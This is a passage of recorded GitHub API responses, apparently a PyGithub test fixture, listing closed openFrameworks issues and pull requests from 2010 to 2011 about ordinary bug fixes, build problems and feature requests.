build","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/270","comments":0,"milestone":null,"number":270,"html_url":"https://github.com/openframeworks/openFrameworks/issues/270","assignee":null,"title":"ofxFbo.cpp win32 specific #defines","labels":[],"closed_at":"2010-11-22T23:43:14Z","created_at":"2010-11-22T18:10:22Z","state":"closed","user":{"url":"https://api.github.com/users/sbonkowski","gravatar_id":"88dfb005acfaf20ecff20bf7c9edf0a1","avatar_url":"https://secure.gravatar.com/avatar/88dfb005acfaf20ecff20bf7c9edf0a1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"sbonkowski","id":365754},"id":432909,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/270.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/270","patch_url":"https://github.com/openframeworks/openFrameworks/pull/270.patch"}},{"updated_at":"2010-11-22T23:43:14Z","body":"added ofEvents.cpp to win_cp project","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/269","comments":0,"milestone":null,"number":269,"html_url":"https://github.com/openframeworks/openFrameworks/issues/269","assignee":null,"title":"added ofEvents.cpp to win_cp project","labels":[],"closed_at":"2010-11-22T23:43:14Z","created_at":"2010-11-22T14:44:59Z","state":"closed","user":{"url":"https://api.github.com/users/sbonkowski","gravatar_id":"88dfb005acfaf20ecff20bf7c9edf0a1","avatar_url":"https://secure.gravatar.com/avatar/88dfb005acfaf20ecff20bf7c9edf0a1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"sbonkowski","id":365754},"id":432554,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/269.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/269","patch_url":"https://github.com/openframeworks/openFrameworks/pull/269.patch"}},{"updated_at":"2010-11-22T23:49:05Z","body":"i think there are probably more of these to be added, but i needed this one :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/268","comments":2,"milestone":null,"number":268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/268","assignee":null,"title":"ofVertex(ofPoint & p) added","labels":[],"closed_at":"2010-11-23T07:41:01Z","created_at":"2010-11-21T19:25:58Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":431379,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/268.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/268","patch_url":"https://github.com/openframeworks/openFrameworks/pull/268.patch"}},{"updated_at":"2011-03-13T20:28:34Z","body":"ofxCvFloatImage::setFromPixels( float* _pixels, int w, int h ) \n\n if( w == width && h == height ) {\n // copy _pixels into cvImage\n for( int i=0; i < height; i++ ) {\n memcpy( cvImage->imageData + (i*cvImage->widthStep),\n _pixels + (i*w),\n width );\n }\n flagImageChanged();\n } else {\n ofLog(OF_LOG_ERROR, \"in setFromPixels, size mismatch\");\n }\n\nshould be:\n\n if( w == width && h == height ) {\n // copy _pixels into cvImage\n for( int i=0; i < height; i++ ) {\n memcpy( cvImage->imageData + (i*cvImage->widthStep),\n _pixels + (i*w),\n width * sizeof(float) );\n }\n flagImageChanged();\n } else {\n ofLog(OF_LOG_ERROR, \"in setFromPixels, size mismatch\");\n }","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/267","comments":1,"milestone":null,"number":267,"html_url":"https://github.com/openframeworks/openFrameworks/issues/267","assignee":null,"title":"ofxCvFloatImage memcpy for float * assumes 1 byte per pixel instead of 4bytes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-03-13T20:28:34Z","created_at":"2010-11-18T21:43:02Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":427168,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-15T23:47:11Z","body":"something like php date. \nwhere you could do \n\nofGetTimeAsString(\"Y-M-D-H-M-S-MS\");\nreturns \"2010-12-20-13-44-05-0980\" \n\nmakes saving files without overwriting easier. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/266","comments":1,"milestone":null,"number":266,"html_url":"https://github.com/openframeworks/openFrameworks/issues/266","assignee":null,"title":"ofGetTimeAsString(string format)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-15T23:47:11Z","created_at":"2010-11-18T16:59:02Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":426568,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-22T23:31:07Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/263","comments":4,"milestone":null,"number":263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/263","assignee":null,"title":"the linux ofVideoPlayer should not use a texture if bUseTexture is set to false","labels":[],"closed_at":"2010-11-22T23:31:07Z","created_at":"2010-11-17T13:52:40Z","state":"closed","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"benben","id":124513},"id":424070,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/263.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/263","patch_url":"https://github.com/openframeworks/openFrameworks/pull/263.patch"}},{"updated_at":"2010-11-22T23:30:40Z","body":"see here: https://github.com/openframeworks/openFrameworks/issues/issue/261","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/262","comments":1,"milestone":null,"number":262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/262","assignee":null,"title":"fixes #261","labels":[],"closed_at":"2010-11-22T23:30:40Z","created_at":"2010-11-17T13:39:23Z","state":"closed","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"benben","id":124513},"id":424049,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/262.patch"}},{"updated_at":"2010-11-17T15:04:06Z","body":"In ofxCvContourFinder when you call findContours there should be away to disable the textures for the inputCopy(...) line 67\n\nYou will get a crash if you are trying to run this function in a thread due to opengl ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/261","comments":3,"milestone":null,"number":261,"html_url":"https://github.com/openframeworks/openFrameworks/issues/261","assignee":null,"title":"ofxCvContourFinder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-11-17T15:04:06Z","created_at":"2010-11-16T19:19:56Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vanderlin","id":149997},"id":422560,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-02-14T20:20:33Z","body":"ofSetColor(255) is white while ofBackground(255) is blue","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/260","comments":1,"milestone":null,"number":260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/260","assignee":null,"title":"ofBackground is inconsistent with ofSetColor","labels":[],"closed_at":"2011-02-14T20:20:33Z","created_at":"2010-11-15T11:48:12Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":418837,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-17T14:55:30Z","body":"A couple of things here:\r\n1. The current version of ofxiPhoneKeyboard has no way to keep the textfield visible and hide the keyboard. I added a closeKeyboard() method to do just that.\r\n2. Manually editing the text using the [setText] method didn't trigger all the callbacks that got triggered when editing the text using the keyboard. I just added a call to [textFieldDidEndEditing] to correct that. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/259","comments":0,"milestone":null,"number":259,"html_url":"https://github.com/openframeworks/openFrameworks/issues/259","assignee":null,"title":"iPhone keyboard fixes","labels":[],"closed_at":"2010-11-17T14:55:30Z","created_at":"2010-11-13T17:33:58Z","state":"closed","user":{"url":"https://api.github.com/users/prisonerjohn","gravatar_id":"b52cabeecffe4497699db813a715456f","avatar_url":"https://secure.gravatar.com/avatar/b52cabeecffe4497699db813a715456f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"prisonerjohn","id":119702},"id":416874,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/259.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/259","patch_url":"https://github.com/openframeworks/openFrameworks/pull/259.patch"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=30&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('content-length', '29775'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"75048d1758b8859dd03cee1ffd88b1d3"'), ('date', 'Tue, 29 May 2012 18:46:51 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2010-11-13T17:21:27Z","body":"I just added a return statement to the laodFromBuffer() method to indicated whether the operation was successful or not. The \"loadOkay\" var was already there but unused.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/258","comments":1,"milestone":null,"number":258,"html_url":"https://github.com/openframeworks/openFrameworks/issues/258","assignee":null,"title":"XML loadFromBuffer() return value","labels":[],"closed_at":"2010-11-13T17:21:27Z","created_at":"2010-11-13T17:16:14Z","state":"closed","user":{"url":"https://api.github.com/users/prisonerjohn","gravatar_id":"b52cabeecffe4497699db813a715456f","login":"prisonerjohn","avatar_url":"https://secure.gravatar.com/avatar/b52cabeecffe4497699db813a715456f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":119702},"id":416858,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/258.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/258.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/258"}},{"updated_at":"2011-03-13T20:19:34Z","body":"ofColor, ofImage, ofSound... should all report either complete information (ofColor) or partial information (ofImage: width, height, format). this will encourage more people to use << when debugging, make debugging faster, make code shorter, and generally cause less problems with people misformatting prtinfs :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/257","comments":0,"milestone":null,"number":257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/257","assignee":null,"title":"operator<< should be overloaded for all basic types","labels":[],"closed_at":"2011-03-13T20:19:34Z","created_at":"2010-11-13T17:07:05Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":416848,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-11-15T18:06:12Z","body":"I just noticed that fonts are not being displayed in the iPhone simulator. I just tried the iPhoneFontsExample from the 0062Release branch and although it works fine on the actual device, nothing gets displayed in the simulator and I get the following trace in the console (over and over again):\r\n\r\n\tOF_ERROR: Error : font not allocated -- line 779 in /my/oF/dir/libs/openFrameworksCompiled/project/iphone/../../../openFrameworks/graphics/ofTrueTypeFont.cpp\r\n\r\nI had a quick look at ofTrueTypeFont and the problem happens on line 369:\r\n\tif (FT_New_Face( library, filename.c_str(), 0, &face )) {\r\n\t\treturn;\r\n\t}\r\n\r\nI also checked the contents of the .app package on both the device and simulator apps, and both have the font file at the correct path.\r\n\r\nFinally, I reverted back to an older versions of oF and the bug is still there, is it possible the problem lies with the recompiled version of freetype? (b3fd9144b8d45108fca86c96364655f9a0d68f7a)\r\n\r\nI don't really know where to go from here, so if someone wants to look at it or has any suggestions on stuff I can try, let me know!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/256","comments":3,"milestone":null,"number":256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/256","assignee":null,"title":"Problem with fonts on iPhone Simulator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-11-15T18:06:12Z","created_at":"2010-11-13T16:39:54Z","state":"closed","user":{"url":"https://api.github.com/users/prisonerjohn","gravatar_id":"b52cabeecffe4497699db813a715456f","login":"prisonerjohn","avatar_url":"https://secure.gravatar.com/avatar/b52cabeecffe4497699db813a715456f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":119702},"id":416819,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-02-12T14:09:54Z","body":"Hi,\n\nJust clone a brand new copy, but I am unable to run any of the iphone projects. I get the following error messages:\n\n/openframeworks_master/libs/openFrameworksCompiled/project/iphone/../../../openFrameworks/graphics/ofGraphics.cpp:70:0 /openframeworks_master/libs/openFrameworksCompiled/project/iphone/../../../openFrameworks/graphics/ofGraphics.cpp:70: error: 'glPushAttrib' was not declared in this scope\n\nand the same goes for glPopAttrib and glOrtho\n\nAny help will be much appreciated\n\nCheers\nrS\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/254","comments":5,"milestone":null,"number":254,"html_url":"https://github.com/openframeworks/openFrameworks/issues/254","assignee":null,"title":"Unable to run iPhone projects","labels":[],"closed_at":"2011-02-12T14:09:54Z","created_at":"2010-11-11T16:28:37Z","state":"closed","user":{"url":"https://api.github.com/users/nardove","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":277690},"id":413178,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-12-02T15:13:08Z","body":"i wish every main.cpp looked more like this:\r\n\r\n\t#include \"testApp.h\"\r\n\r\n\tint main() {\r\n\t\tofAppGlutWindow window;\r\n\t\t// specify width, height and OF_WINDOW or OF_FULLSCREEN\r\n\t\tofSetupOpenGL(&window, 640, 480, OF_WINDOW);\r\n\t\tofRunApp(new testApp());\r\n\t}\r\n\r\nthe two extra includes are unnecessary as they're included by testApp.h which has ofMain.h\r\n\r\nin general, there are lots of stray tabs throughout the core, conflicting indentation and bracing styles, random collections of newlines, sometimes spaces where there should be tabs, half-attempts at aligning variable names, unnecessary caps lock in comments, and way more //----- than there should be.\r\n\r\nin general this demands discussion on of-dev and agreement on some basic stylistic goals, but i feel like the above (main.cpp) should be pretty obvious and agreeable.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/253","comments":3,"milestone":null,"number":253,"html_url":"https://github.com/openframeworks/openFrameworks/issues/253","assignee":null,"title":"clean up the formatting!","labels":[],"closed_at":"2011-12-02T15:13:08Z","created_at":"2010-11-11T03:08:59Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":412183,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-11-13T14:31:17Z","body":"My commit here:\r\nhttps://github.com/tmatth/openFrameworks/commit/122e7081a2246cf2591f87cf0526d6683ab7e562\r\nresolves compiler warnings for the getHex method of ofColor","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/252","comments":0,"milestone":null,"number":252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/252","assignee":null,"title":"Patch for https://github.com/openframeworks/openFrameworks/issues/issue/251","labels":[],"closed_at":"2010-11-13T14:31:17Z","created_at":"2010-11-09T21:13:56Z","state":"closed","user":{"url":"https://api.github.com/users/tmatth","gravatar_id":"540065079e39292038cd38830d20560a","login":"tmatth","avatar_url":"https://secure.gravatar.com/avatar/540065079e39292038cd38830d20560a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":66862},"id":409643,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/252.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/252.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/252"}},{"updated_at":"2011-03-13T20:18:06Z","body":"Compiling openFrameworks on Ubuntu 10.10 leads to the following warning:\r\n \r\n../../../openFrameworks/utils/ofTypes.h:376: warning: suggest parentheses around ‘+’ inside ‘<<’","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/251","comments":0,"milestone":null,"number":251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/251","assignee":null,"title":"compiler warning for ofTypes.h","labels":[],"closed_at":"2011-03-13T20:18:06Z","created_at":"2010-11-09T20:59:26Z","state":"closed","user":{"url":"https://api.github.com/users/tmatth","gravatar_id":"540065079e39292038cd38830d20560a","login":"tmatth","avatar_url":"https://secure.gravatar.com/avatar/540065079e39292038cd38830d20560a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":66862},"id":409621,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-11-07T13:13:53Z","body":"install_dependencies.sh should call `sudo apt-get` instead of just `apt-get` so users won't have to run the script using sudo and subsequently compile everything as root.\n\nalso on ubuntu 10.10 `pkg-config --cflags libavformat` doesn't output a path, so compile fails with\n\n../../../openFrameworks/video/ofUCUtils.cpp:19: fatal error: avformat.h: No such file or directory\n\n19: #include -- doesn't exist: error\n20: #include -- doesn't exist\n21: #include -- correct\n22: #include -- correct\n\nYour hack doesn't work.\n\nMaybe you should leave all paths for ffmpeg away and add them using the Makefile?\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/250","comments":1,"milestone":null,"number":250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/250","assignee":null,"title":"ubuntu setup script issuses","labels":[],"closed_at":"2010-11-07T13:13:53Z","created_at":"2010-11-06T20:23:09Z","state":"closed","user":{"url":"https://api.github.com/users/neapel","gravatar_id":"dcc01bf257434d56ea213358ad0c037a","login":"neapel","avatar_url":"https://secure.gravatar.com/avatar/dcc01bf257434d56ea213358ad0c037a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":77855},"id":404367,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2012-03-10T05:04:59Z","body":"This is on ofxIphone, requires the [appDelegate startAnimation] method to be called.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/248","comments":1,"milestone":null,"number":248,"html_url":"https://github.com/openframeworks/openFrameworks/issues/248","assignee":null,"title":"setFramerate doesn't properly return after being set to 0","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-03-10T05:04:59Z","created_at":"2010-11-01T01:17:01Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":392755,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-01-14T03:11:27Z","body":"ofToInt() returns junk on the empty string, and this junk is different across systems. On OSX I tend to get negative integers while on Windows I tend to get positive integers (I was testing for <0 so my code worked on OSX and broke on Windows).\r\n\r\nI'm assuming this applies to ofToFloat() as well.\r\n\r\nHere is a demo that shows the problem, and provides a solution using stringstreams instead of sscanf.\r\n\r\n\tint testInt;\r\n\t\r\n\ttestInt = 0;\r\n\ttestInt = ofToInt(\"\");\r\n\tcout << \"testInt = ofToInt(empty): \" << testInt << endl;\r\n\t\r\n\ttestInt = 0;\r\n\tstringstream convert(\"\");\r\n\tconvert >> testInt;\r\n\tcout << \"empty >> testInt: \" << testInt << endl;\r\n\r\nThe alternative is to test for the string length before running sscanf. In general I think stringstreams are a smarter way to do conversion though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/247","comments":1,"milestone":null,"number":247,"html_url":"https://github.com/openframeworks/openFrameworks/issues/247","assignee":null,"title":"inconsistent and arbitrary conversion behavior ofToInt","labels":[],"closed_at":"2011-01-14T03:11:27Z","created_at":"2010-10-17T19:35:06Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":367083,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-03-13T21:43:35Z","body":"This can be a massive headache when parsing basic delimited data.\r\n\r\nFor example, the string \"a,,b,,c\" yields 3 tokens instead of 5 (Processing's split() gives 5).\r\n\r\nMore of a description including a solution is posted here http://www.openframeworks.cc/forum/viewtopic.php?p=24126#p24126","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/246","comments":2,"milestone":null,"number":246,"html_url":"https://github.com/openframeworks/openFrameworks/issues/246","assignee":null,"title":"ofSplitString ignores empty tokens","labels":[],"closed_at":"2011-03-14T03:14:22Z","created_at":"2010-10-14T22:15:02Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":363172,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-03-13T19:36:30Z","body":"Lines are cited for changing, that aren't in the .cbp files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/243","comments":0,"milestone":null,"number":243,"html_url":"https://github.com/openframeworks/openFrameworks/issues/243","assignee":null,"title":"The Windows CodeBlocks guide to creating a new project includes steps that you don't need to perform","labels":[],"closed_at":"2011-03-13T19:36:30Z","created_at":"2010-10-11T04:11:16Z","state":"closed","user":{"url":"https://api.github.com/users/pnewhook","gravatar_id":"fae2af75c8c0ca925a229678b528bb04","login":"pnewhook","avatar_url":"https://secure.gravatar.com/avatar/fae2af75c8c0ca925a229678b528bb04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":92876},"id":356107,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/243.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/243.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/243"}},{"updated_at":"2011-07-06T18:36:06Z","body":"This pull request includes:\r\n - cmake files to build OF as a shared/static library under linux/OS X\r\n - cmake files to build examples and addon examples\r\n - cmake files included in addons directory and to be included in project using addons to easily build apps witch use addons\r\n - a readme explaining how to build thoses parts and generate project files for various IDEs ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/242","comments":4,"milestone":null,"number":242,"html_url":"https://github.com/openframeworks/openFrameworks/issues/242","assignee":null,"title":"CMake build files","labels":[],"closed_at":"2011-07-06T18:36:06Z","created_at":"2010-10-09T13:57:04Z","state":"closed","user":{"url":"https://api.github.com/users/dopuskh3","gravatar_id":"33990a985289ab17b97d854cf3ea5bdc","login":"dopuskh3","avatar_url":"https://secure.gravatar.com/avatar/33990a985289ab17b97d854cf3ea5bdc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":86608},"id":354555,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/242.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/242.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/242"}},{"updated_at":"2010-11-08T16:36:08Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/241","comments":1,"milestone":null,"number":241,"html_url":"https://github.com/openframeworks/openFrameworks/issues/241","assignee":null,"title":"set base SDK to current OS for os x projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2010-11-08T16:36:08Z","created_at":"2010-10-07T18:58:53Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":351891,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-10-05T13:45:47Z","body":"In 0061 my update() routine is running after exit() is called, so deleted objects are being called and it's no fun.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/239","comments":1,"milestone":null,"number":239,"html_url":"https://github.com/openframeworks/openFrameworks/issues/239","assignee":null,"title":"update() running after exit() called","labels":[],"closed_at":"2010-10-05T13:45:47Z","created_at":"2010-10-01T14:29:40Z","state":"closed","user":{"url":"https://api.github.com/users/gimlids","gravatar_id":"cc4cace34c61103f0624002a692820f7","login":"gimlids","avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":186277},"id":342470,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-03-13T20:11:04Z","body":"possibly also have getNumBytes\nand getNumPixels","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/238","comments":1,"milestone":null,"number":238,"html_url":"https://github.com/openframeworks/openFrameworks/issues/238","assignee":null,"title":"ofBaseHasPixels should have getWidth getHeight getBytesPerPixel ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-03-13T20:11:04Z","created_at":"2010-09-29T15:37:31Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":338905,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-03-13T20:09:51Z","body":"http://www.openframeworks.cc/forum/posting.php?mode=reply&f=7&t=4687&sid=af92e2439a47e67b107dd3c3e0e4b1fb","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/237","comments":1,"milestone":null,"number":237,"html_url":"https://github.com/openframeworks/openFrameworks/issues/237","assignee":null,"title":"fix firmata way of reading the serial 